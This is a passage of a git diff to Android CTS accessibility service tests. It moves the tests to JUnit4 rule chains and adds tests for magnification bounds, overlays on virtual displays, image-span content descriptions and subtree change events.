+        final MagnificationController controller = mService.getMagnificationController();
+        final Rect magnifyBounds = controller.getMagnificationRegion().getBounds();
+        final float scale = 8.0f;
+        final Button button = activity.findViewById(R.id.button1);
+        adjustViewBoundsIfNeeded(button, scale, magnifyBounds);
+
+        final AccessibilityNodeInfo buttonNode = uiAutomation.getRootInActiveWindow()
+                .findAccessibilityNodeInfosByViewId(
+                        "android.accessibilityservice.cts:id/button1").get(0);
+        assertNotNull("Can't find button on the screen", buttonNode);
+        assertTrue("Button should be visible", buttonNode.isVisibleToUser());
+
+        // Get right-bottom center position
+        final float centerX = magnifyBounds.left + (((float) magnifyBounds.width() / (2.0f * scale))
+                * ((2.0f * scale) - 1.0f));
+        final float centerY = magnifyBounds.top + (((float) magnifyBounds.height() / (2.0f * scale))
+                * ((2.0f * scale) - 1.0f));
+        try {
+            waitOnMagnificationChanged(controller, scale, centerX, centerY);
+            // Waiting for UI refresh
+            mInstrumentation.waitForIdleSync();
+            buttonNode.refresh();
+
+            final Rect boundsInScreen = new Rect();
+            final DisplayMetrics displayMetrics = new DisplayMetrics();
+            buttonNode.getBoundsInScreen(boundsInScreen);
+            mInstrumentation.getContext().getDisplay().getMetrics(displayMetrics);
+            final Rect displayRect = new Rect(0, 0,
+                    displayMetrics.widthPixels, displayMetrics.heightPixels);
+            // The boundsInScreen of button is adjusted to outside of screen by framework,
+            // for example, Rect(-xxx, -xxx, -xxx, -xxx). Intersection of button and screen
+            // should be empty.
+            assertFalse("Button shouldn't be on the screen, screen is " + displayRect
+                            + ", button bounds is " + boundsInScreen,
+                    Rect.intersects(displayRect, boundsInScreen));
+            assertTrue("Button should be visible", buttonNode.isVisibleToUser());
+        } finally {
+            mService.runOnServiceSync(() -> controller.reset(false));
+        }
+    }
+
+    private void waitOnMagnificationChanged(MagnificationController controller, float newScale,
+            float newCenterX, float newCenterY) {
+        final Object waitLock = new Object();
+        final AtomicBoolean notified = new AtomicBoolean();
+        final OnMagnificationChangedListener listener = (c, region, scale, centerX, centerY) -> {
+            final float delta = 5.0f;
+            synchronized (waitLock) {
+                if (newScale == scale
+                        && (centerX > newCenterX - delta) && (centerY > newCenterY - delta)) {
+                    notified.set(true);
+                    waitLock.notifyAll();
+                }
+            }
+        };
+        controller.addListener(listener);
+        try {
+            final AtomicBoolean setScale = new AtomicBoolean();
+            final AtomicBoolean setCenter = new AtomicBoolean();
+            mService.runOnServiceSync(() -> {
+                setScale.set(controller.setScale(newScale, false));
+                setCenter.set(controller.setCenter(newCenterX, newCenterY, false));
+            });
+            assertTrue("Failed to set scale", setScale.get());
+            assertEquals("Failed to apply scale", newScale, controller.getScale(), 0f);
+            assertTrue("Failed to set center", setCenter.get());
+            waitOn(waitLock, () -> notified.get(), LISTENER_TIMEOUT_MILLIS,
+                    "waitOnMagnificationChanged");
+        } finally {
+            controller.removeListener(listener);
+        }
+    }
+
+    /**
+     * Adjust top-left view bounds if it's still in the magnified viewport after sets magnification
+     * scale and move centers to bottom-right.
+     */
+    private void adjustViewBoundsIfNeeded(View topLeftview, float scale, Rect magnifyBounds) {
+        final Point magnifyViewportTopLeft = new Point();
+        magnifyViewportTopLeft.x = (int)((scale - 1.0f) * ((float) magnifyBounds.width() / scale));
+        magnifyViewportTopLeft.y = (int)((scale - 1.0f) * ((float) magnifyBounds.height() / scale));
+        magnifyViewportTopLeft.offset(magnifyBounds.left, magnifyBounds.top);
+
+        final int[] viewLocation = new int[2];
+        topLeftview.getLocationOnScreen(viewLocation);
+        final Rect viewBounds = new Rect(viewLocation[0], viewLocation[1],
+                viewLocation[0] + topLeftview.getWidth(),
+                viewLocation[1] + topLeftview.getHeight());
+        if (viewBounds.right < magnifyViewportTopLeft.x
+                && viewBounds.bottom < magnifyViewportTopLeft.y) {
+            // no need
+            return;
+        }
+
+        final ViewGroup.LayoutParams layoutParams = topLeftview.getLayoutParams();
+        if (viewBounds.right >= magnifyViewportTopLeft.x) {
+            layoutParams.width = topLeftview.getWidth() - 1
+                    - (viewBounds.right - magnifyViewportTopLeft.x);
+            assertTrue("Needs to fix layout", layoutParams.width > 0);
+        }
+        if (viewBounds.bottom >= magnifyViewportTopLeft.y) {
+            layoutParams.height = topLeftview.getHeight() - 1
+                    - (viewBounds.bottom - magnifyViewportTopLeft.y);
+            assertTrue("Needs to fix layout", layoutParams.height > 0);
+        }
+        mInstrumentation.runOnMainSync(() -> topLeftview.setLayoutParams(layoutParams));
+        // Waiting for UI refresh
+        mInstrumentation.waitForIdleSync();
+    }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityOverlayTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityOverlayTest.java
index e461bdf..d8264dc 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityOverlayTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityOverlayTest.java
@@ -16,16 +16,19 @@
 
 package android.accessibilityservice.cts;
 
-import static android.accessibilityservice.cts.utils.CtsTestUtils.runIfNotNull;
-
 import static org.junit.Assert.assertTrue;
 
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.accessibility.cts.common.InstrumentedAccessibilityService;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
 import android.accessibilityservice.AccessibilityServiceInfo;
 import android.accessibilityservice.cts.utils.AsyncUtils;
-import android.app.Instrumentation;
+import android.accessibilityservice.cts.utils.DisplayUtils;
 import android.app.UiAutomation;
+import android.content.Context;
 import android.text.TextUtils;
+import android.util.SparseArray;
+import android.view.Display;
 import android.view.WindowManager;
 import android.view.accessibility.AccessibilityWindowInfo;
 import android.widget.Button;
@@ -33,10 +36,11 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
-import org.junit.After;
 import org.junit.Before;
 import org.junit.BeforeClass;
+import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
 import java.util.List;
@@ -45,14 +49,24 @@
 @RunWith(AndroidJUnit4.class)
 public class AccessibilityOverlayTest {
 
-    private static Instrumentation sInstrumentation;
     private static UiAutomation sUiAutomation;
     InstrumentedAccessibilityService mService;
 
+    private InstrumentedAccessibilityServiceTestRule<StubAccessibilityButtonService>
+            mServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+                    StubAccessibilityButtonService.class);
+
+    private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
+    @Rule
+    public final RuleChain mRuleChain = RuleChain
+            .outerRule(mServiceRule)
+            .around(mDumpOnFailureRule);
+
     @BeforeClass
     public static void oneTimeSetUp() {
-        sInstrumentation = InstrumentationRegistry.getInstrumentation();
-        sUiAutomation = sInstrumentation
+        sUiAutomation = InstrumentationRegistry.getInstrumentation()
                 .getUiAutomation(UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
         AccessibilityServiceInfo info = sUiAutomation.getServiceInfo();
         info.flags |= AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
@@ -61,40 +75,61 @@
 
     @Before
     public void setUp() {
-        mService = StubAccessibilityButtonService.enableSelf(sInstrumentation);
-    }
-
-    @After
-    public void tearDown() {
-        runIfNotNull(mService, service -> service.runOnServiceSync(service::disableSelf));
+        mService = mServiceRule.getService();
     }
 
     @Test
     public void testA11yServiceShowsOverlay_shouldAppear() throws Exception {
-        final Button button = new Button(mService);
-        button.setText("Button");
         final String overlayTitle = "Overlay title";
 
         sUiAutomation.executeAndWaitForEvent(() -> mService.runOnServiceSync(() -> {
-            final WindowManager.LayoutParams params = new WindowManager.LayoutParams();
-            params.width = WindowManager.LayoutParams.MATCH_PARENT;
-            params.height = WindowManager.LayoutParams.MATCH_PARENT;
-            params.flags = WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN
-                    | WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR;
-            params.type = WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY;
-            params.setTitle(overlayTitle);
-            mService.getSystemService(WindowManager.class).addView(button, params);
-        }), (event) -> findOverlayWindow() != null, AsyncUtils.DEFAULT_TIMEOUT_MS);
+            addOverlayWindow(mService, overlayTitle);
+        }), (event) -> findOverlayWindow(Display.DEFAULT_DISPLAY) != null, AsyncUtils.DEFAULT_TIMEOUT_MS);
 
-        assertTrue(TextUtils.equals(findOverlayWindow().getTitle(), overlayTitle));
+        assertTrue(TextUtils.equals(findOverlayWindow(Display.DEFAULT_DISPLAY).getTitle(), overlayTitle));
     }
 
-    private AccessibilityWindowInfo findOverlayWindow() {
-        List<AccessibilityWindowInfo> windows = sUiAutomation.getWindows();
-        for (int i = 0; i < windows.size(); i++) {
-            AccessibilityWindowInfo window = windows.get(i);
-            if (window.getType() == AccessibilityWindowInfo.TYPE_ACCESSIBILITY_OVERLAY) {
-                return window;
+    @Test
+    public void testA11yServiceShowsOverlayOnVirtualDisplay_shouldAppear() throws Exception {
+        try (DisplayUtils.VirtualDisplaySession displaySession =
+                     new DisplayUtils.VirtualDisplaySession()) {
+            Display newDisplay = displaySession.createDisplayWithDefaultDisplayMetricsAndWait(
+                    mService, false);
+            final int displayId = newDisplay.getDisplayId();
+            final Context newDisplayContext = mService.createDisplayContext(newDisplay);
+            final String overlayTitle = "Overlay title on virtualDisplay";
+
+            sUiAutomation.executeAndWaitForEvent(() -> mService.runOnServiceSync(() -> {
+                addOverlayWindow(newDisplayContext, overlayTitle);
+            }), (event) -> findOverlayWindow(displayId) != null, AsyncUtils.DEFAULT_TIMEOUT_MS);
+
+            assertTrue(TextUtils.equals(findOverlayWindow(displayId).getTitle(), overlayTitle));
+        }
+    }
+
+    private void addOverlayWindow(Context context, String overlayTitle) {
+        final Button button = new Button(context);
+        button.setText("Button");
+        final WindowManager.LayoutParams params = new WindowManager.LayoutParams();
+        params.width = WindowManager.LayoutParams.MATCH_PARENT;
+        params.height = WindowManager.LayoutParams.MATCH_PARENT;
+        params.flags = WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN
+                | WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR;
+        params.type = WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY;
+        params.setTitle(overlayTitle);
+        context.getSystemService(WindowManager.class).addView(button, params);
+    }
+
+    private AccessibilityWindowInfo findOverlayWindow(int displayId) {
+        final SparseArray<List<AccessibilityWindowInfo>> allWindows =
+                sUiAutomation.getWindowsOnAllDisplays();
+        final int index = allWindows.indexOfKey(displayId);
+        final List<AccessibilityWindowInfo> windows = allWindows.valueAt(index);
+        if (windows != null) {
+            for (AccessibilityWindowInfo window : windows) {
+                if (window.getType() == AccessibilityWindowInfo.TYPE_ACCESSIBILITY_OVERLAY) {
+                    return window;
+                }
             }
         }
         return null;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityPaneTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityPaneTest.java
index 959f315..d8b613f 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityPaneTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityPaneTest.java
@@ -28,6 +28,7 @@
 import static org.hamcrest.Matchers.both;
 import static org.junit.Assert.assertEquals;
 
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.accessibilityservice.cts.activities.AccessibilityEndToEndActivity;
 import android.app.Activity;
 import android.app.Instrumentation;
@@ -45,6 +46,7 @@
 import org.junit.BeforeClass;
 import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
 /**
@@ -58,10 +60,17 @@
     private Activity mActivity;
     private View mPaneView;
 
-    @Rule
-    public ActivityTestRule<AccessibilityEndToEndActivity> mActivityRule =
+    private ActivityTestRule<AccessibilityEndToEndActivity> mActivityRule =
             new ActivityTestRule<>(AccessibilityEndToEndActivity.class, false, false);
 
+    private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
+    @Rule
+    public final RuleChain mRuleChain = RuleChain
+            .outerRule(mActivityRule)
+            .around(mDumpOnFailureRule);
+
     @BeforeClass
     public static void oneTimeSetup() throws Exception {
         sInstrumentation = InstrumentationRegistry.getInstrumentation();
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java
index 67626fe..ee38997 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java
@@ -16,20 +16,35 @@
 
 package android.accessibilityservice.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertSame;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.accessibilityservice.AccessibilityServiceInfo;
 import android.os.Parcel;
 import android.platform.test.annotations.Presubmit;
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.MediumTest;
 import android.view.accessibility.AccessibilityEvent;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Class for testing {@link AccessibilityServiceInfo}.
  */
 @Presubmit
-public class AccessibilityServiceInfoTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityServiceInfoTest {
+
+    @Rule
+    public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
 
     @MediumTest
+    @Test
     public void testMarshalling() throws Exception {
 
         // fully populate the service info to marshal
@@ -51,6 +66,7 @@
      * Tests whether the service info describes its contents consistently.
      */
     @MediumTest
+    @Test
     public void testDescribeContents() {
         AccessibilityServiceInfo info = new AccessibilityServiceInfo();
         assertSame("Accessibility service info always return 0 for this method.", 0,
@@ -64,6 +80,7 @@
      * Tests whether a feedback type is correctly transformed to a string.
      */
     @MediumTest
+    @Test
     public void testFeedbackTypeToString() {
         assertEquals("[FEEDBACK_AUDIBLE]", AccessibilityServiceInfo.feedbackTypeToString(
                 AccessibilityServiceInfo.FEEDBACK_AUDIBLE));
@@ -87,6 +104,7 @@
      * Tests whether a flag is correctly transformed to a string.
      */
     @MediumTest
+    @Test
     public void testFlagToString() {
         assertEquals("DEFAULT", AccessibilityServiceInfo.flagToString(
                 AccessibilityServiceInfo.DEFAULT));
@@ -110,7 +128,8 @@
                 AccessibilityServiceInfo.FLAG_REQUEST_FINGERPRINT_GESTURES));
         assertEquals("FLAG_REQUEST_SHORTCUT_WARNING_DIALOG_SPOKEN_FEEDBACK", AccessibilityServiceInfo.flagToString(
                 AccessibilityServiceInfo.FLAG_REQUEST_SHORTCUT_WARNING_DIALOG_SPOKEN_FEEDBACK));
-
+        assertEquals("FLAG_HANDLE_SHORTCUT", AccessibilityServiceInfo.flagToString(
+                AccessibilityServiceInfo.FLAG_HANDLE_SHORTCUT));
     }
 
     /**
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java
index f01251a..3199dc6 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java
@@ -16,15 +16,25 @@
 
 package android.accessibilityservice.cts;
 
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static org.junit.Assert.assertTrue;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.Presubmit;
 import android.provider.Settings;
-import android.test.AndroidTestCase;
 import android.test.suitebuilder.annotation.MediumTest;
 
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.List;
 
 /**
@@ -32,12 +42,18 @@
  * accessibility settings has an activity that handles it.
  */
 @Presubmit
-public class AccessibilitySettingsTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AccessibilitySettingsTest {
+
+    @Rule
+    public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
 
     @MediumTest
     @AppModeFull
+    @Test
     public void testAccessibilitySettingsIntentHandled() throws Throwable {
-        PackageManager packageManager = mContext.getPackageManager();
+        PackageManager packageManager = getContext().getPackageManager();
         Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
         List<ResolveInfo> resolvedActivities = packageManager.queryIntentActivities(intent,
                 PackageManager.MATCH_DEFAULT_ONLY);
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySoftKeyboardModesTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySoftKeyboardModesTest.java
index 8bb1bfb..0afa1fd 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySoftKeyboardModesTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySoftKeyboardModesTest.java
@@ -13,30 +13,32 @@
  */
 
 package android.accessibilityservice.cts;
+
+import static android.accessibility.cts.common.InstrumentedAccessibilityService.enableService;
 import static android.accessibilityservice.AccessibilityService.SHOW_MODE_AUTO;
 import static android.accessibilityservice.AccessibilityService.SHOW_MODE_HIDDEN;
 import static android.accessibilityservice.AccessibilityService.SHOW_MODE_IGNORE_HARD_KEYBOARD;
-import static android.accessibilityservice.cts.utils.CtsTestUtils.runIfNotNull;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
 import android.accessibility.cts.common.InstrumentedAccessibilityService;
 import android.accessibilityservice.AccessibilityService.SoftKeyboardController;
 import android.accessibilityservice.AccessibilityService.SoftKeyboardController.OnShowModeChangedListener;
 import android.accessibilityservice.cts.activities.AccessibilityTestActivity;
 import android.accessibilityservice.cts.utils.AsyncUtils;
-import android.app.Instrumentation;
 import android.os.Bundle;
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
 
-import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
-import org.junit.After;
 import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
 /**
@@ -47,7 +49,6 @@
 public class AccessibilitySoftKeyboardModesTest {
     private int mLastCallbackValue;
 
-    private final Instrumentation mInstrumentation = InstrumentationRegistry.getInstrumentation();
     private InstrumentedAccessibilityService mService;
     private final Object mLock = new Object();
     private final OnShowModeChangedListener mListener = (c, showMode) -> {
@@ -57,17 +58,21 @@
         }
     };
 
+    private InstrumentedAccessibilityServiceTestRule<InstrumentedAccessibilityService>
+            mServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+                    InstrumentedAccessibilityService.class);
 
+    private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
+    @Rule
+    public final RuleChain mRuleChain = RuleChain
+            .outerRule(mServiceRule)
+            .around(mDumpOnFailureRule);
 
     @Before
-    public void setUp() throws Exception {
-        mService = InstrumentedAccessibilityService.enableService(mInstrumentation,
-                InstrumentedAccessibilityService.class);
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        runIfNotNull(mService, service -> service.runOnServiceSync(service::disableSelf));
+    public void setUp() {
+        mService = mServiceRule.getService();
     }
 
     @Test
@@ -95,7 +100,7 @@
         assertEquals(SHOW_MODE_AUTO, controller.getShowMode());
 
         final InstrumentedAccessibilityService secondService =
-                StubAccessibilityButtonService.enableSelf(mInstrumentation);
+                enableService(StubAccessibilityButtonService.class);
         try {
             // Listen on the first service
             controller.addOnShowModeChangedListener(mListener);
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
index e89b4dd..3d013cb 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
@@ -30,10 +30,11 @@
 import static org.mockito.Mockito.times;
 import static org.mockito.Mockito.verify;
 
-import android.accessibilityservice.cts.R;
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.accessibilityservice.cts.activities.AccessibilityTextTraversalActivity;
 import android.app.Instrumentation;
 import android.app.UiAutomation;
+import android.graphics.Bitmap;
 import android.graphics.RectF;
 import android.os.Bundle;
 import android.os.Message;
@@ -42,6 +43,8 @@
 import android.text.Spanned;
 import android.text.TextUtils;
 import android.text.style.ClickableSpan;
+import android.text.style.ImageSpan;
+import android.text.style.ReplacementSpan;
 import android.text.style.URLSpan;
 import android.view.View;
 import android.view.accessibility.AccessibilityManager;
@@ -60,6 +63,7 @@
 import org.junit.BeforeClass;
 import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
 import java.util.Arrays;
@@ -76,14 +80,20 @@
     private static UiAutomation sUiAutomation;
     final Object mClickableSpanCallbackLock = new Object();
     final AtomicBoolean mClickableSpanCalled = new AtomicBoolean(false);
-    
 
     private AccessibilityTextTraversalActivity mActivity;
 
-    @Rule
-    public ActivityTestRule<AccessibilityTextTraversalActivity> mActivityRule =
+    private ActivityTestRule<AccessibilityTextTraversalActivity> mActivityRule =
             new ActivityTestRule<>(AccessibilityTextTraversalActivity.class, false, false);
 
+    private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
+    @Rule
+    public final RuleChain mRuleChain = RuleChain
+            .outerRule(mActivityRule)
+            .around(mDumpOnFailureRule);
+
     @BeforeClass
     public static void oneTimeSetup() throws Exception {
         sInstrumentation = InstrumentationRegistry.getInstrumentation();
@@ -228,6 +238,25 @@
     }
 
     @Test
+    public void testImageSpan_accessibilityServiceShouldSeeContentDescription() {
+        final TextView textView = (TextView) mActivity.findViewById(R.id.text);
+        final Bitmap bitmap = Bitmap.createBitmap(/* width= */10, /* height= */10,
+                Bitmap.Config.ARGB_8888);
+        final ImageSpan imageSpan = new ImageSpan(mActivity, bitmap);
+        final String contentDescription = mActivity.getString(R.string.contentDescription);
+        imageSpan.setContentDescription(contentDescription);
+        final SpannableString textWithImageSpan =
+                new SpannableString(mActivity.getString(R.string.a_b));
+        textWithImageSpan.setSpan(imageSpan, /* start= */0, /* end= */1, /* flags= */0);
+        makeTextViewVisibleAndSetText(textView, textWithImageSpan);
+
+        ReplacementSpan replacementSpanFromA11y = findSingleSpanInViewWithText(R.string.a_b,
+                ReplacementSpan.class);
+        
+        assertEquals(contentDescription, replacementSpanFromA11y.getContentDescription());
+    }
+
+    @Test
     public void testTextLocations_textViewShouldProvideWhenRequested() {
         final TextView textView = (TextView) mActivity.findViewById(R.id.text);
         // Use text with a strong s, since that gets replaced with a double s for all caps.
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java
index 75eda1d..17acc3b 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java
@@ -23,7 +23,7 @@
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
 
-import android.accessibilityservice.cts.R;
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.accessibilityservice.cts.activities.AccessibilityTextTraversalActivity;
 import android.app.Instrumentation;
 import android.app.UiAutomation;
@@ -47,6 +47,7 @@
 import org.junit.BeforeClass;
 import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
 /**
@@ -64,10 +65,17 @@
 
     private AccessibilityTextTraversalActivity mActivity;
 
-    @Rule
-    public ActivityTestRule<AccessibilityTextTraversalActivity> mActivityRule =
+    private ActivityTestRule<AccessibilityTextTraversalActivity> mActivityRule =
             new ActivityTestRule<>(AccessibilityTextTraversalActivity.class, false, false);
 
+    private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
+    @Rule
+    public final RuleChain mRuleChain = RuleChain
+            .outerRule(mActivityRule)
+            .around(mDumpOnFailureRule);
+
     @BeforeClass
     public static void oneTimeSetup() throws Exception {
         sInstrumentation = InstrumentationRegistry.getInstrumentation();
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java
index 28a3acd..0ca307a 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java
@@ -14,8 +14,7 @@
 
 package android.accessibilityservice.cts;
 
-import static android.accessibilityservice.cts.utils.ActivityLaunchUtils
-        .launchActivityAndWaitForItToBeOnscreen;
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityAndWaitForItToBeOnscreen;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
@@ -23,15 +22,12 @@
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
 
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.accessibilityservice.AccessibilityServiceInfo;
-import android.accessibilityservice.cts.R;
 import android.accessibilityservice.cts.activities.AccessibilityViewTreeReportingActivity;
 import android.app.Instrumentation;
 import android.app.UiAutomation;
 import android.content.Context;
-import androidx.test.InstrumentationRegistry;
-import androidx.test.rule.ActivityTestRule;
-import androidx.test.runner.AndroidJUnit4;
 import android.text.TextUtils;
 import android.view.View;
 import android.view.ViewGroup;
@@ -40,11 +36,16 @@
 import android.widget.Button;
 import android.widget.LinearLayout;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.AfterClass;
 import org.junit.Before;
 import org.junit.BeforeClass;
 import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
 /**
@@ -61,10 +62,17 @@
 
     private AccessibilityViewTreeReportingActivity mActivity;
 
-    @Rule
-    public ActivityTestRule<AccessibilityViewTreeReportingActivity> mActivityRule =
+    private ActivityTestRule<AccessibilityViewTreeReportingActivity> mActivityRule =
             new ActivityTestRule<>(AccessibilityViewTreeReportingActivity.class, false, false);
 
+    private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
+    @Rule
+    public final RuleChain mRuleChain = RuleChain
+            .outerRule(mActivityRule)
+            .around(mDumpOnFailureRule);
+
     @BeforeClass
     public static void oneTimeSetup() throws Exception {
         sInstrumentation = InstrumentationRegistry.getInstrumentation();
@@ -309,6 +317,44 @@
         assertTrue(awaitedEvent.getSource().isImportantForAccessibility());
     }
 
+
+    @Test
+    public void testHideView_receiveSubtreeEvent() throws Throwable {
+        final View view = mActivity.findViewById(R.id.secondButton);
+        AccessibilityEvent awaitedEvent =
+                sUiAutomation.executeAndWaitForEvent(
+                        () -> mActivity.runOnUiThread(() -> view.setVisibility(View.GONE)),
+                        (event) -> {
+                            boolean isContentChanged = event.getEventType()
+                                    == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED;
+                            int isSubTree = (event.getContentChangeTypes()
+                                    & AccessibilityEvent.CONTENT_CHANGE_TYPE_SUBTREE);
+                            boolean isFromThisPackage = TextUtils.equals(event.getPackageName(),
+                                    mActivity.getPackageName());
+                            return isContentChanged && (isSubTree != 0) && isFromThisPackage;
+                        }, TIMEOUT_ASYNC_PROCESSING);
+        awaitedEvent.recycle();
+    }
+
+    @Test
+    public void testUnhideView_receiveSubtreeEvent() throws Throwable {
+        final View view = mActivity.findViewById(R.id.hiddenButton);
+        AccessibilityEvent awaitedEvent =
+                sUiAutomation.executeAndWaitForEvent(
+                        () -> mActivity.runOnUiThread(() -> view.setVisibility(View.VISIBLE)),
+                        (event) -> {
+                            boolean isContentChanged = event.getEventType()
+                                    == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED;
+                            int isSubTree = (event.getContentChangeTypes()
+                                    & AccessibilityEvent.CONTENT_CHANGE_TYPE_SUBTREE);
+                            boolean isFromThisPackage = TextUtils.equals(event.getPackageName(),
+                                    mActivity.getPackageName());
+                            return isContentChanged && (isSubTree != 0) && isFromThisPackage;
+                        }, TIMEOUT_ASYNC_PROCESSING);
+        awaitedEvent.recycle();
+    }
+
+
     private void setGetNonImportantViews(boolean getNonImportantViews) {
         AccessibilityServiceInfo serviceInfo = sUiAutomation.getServiceInfo();
         serviceInfo.flags &= ~AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
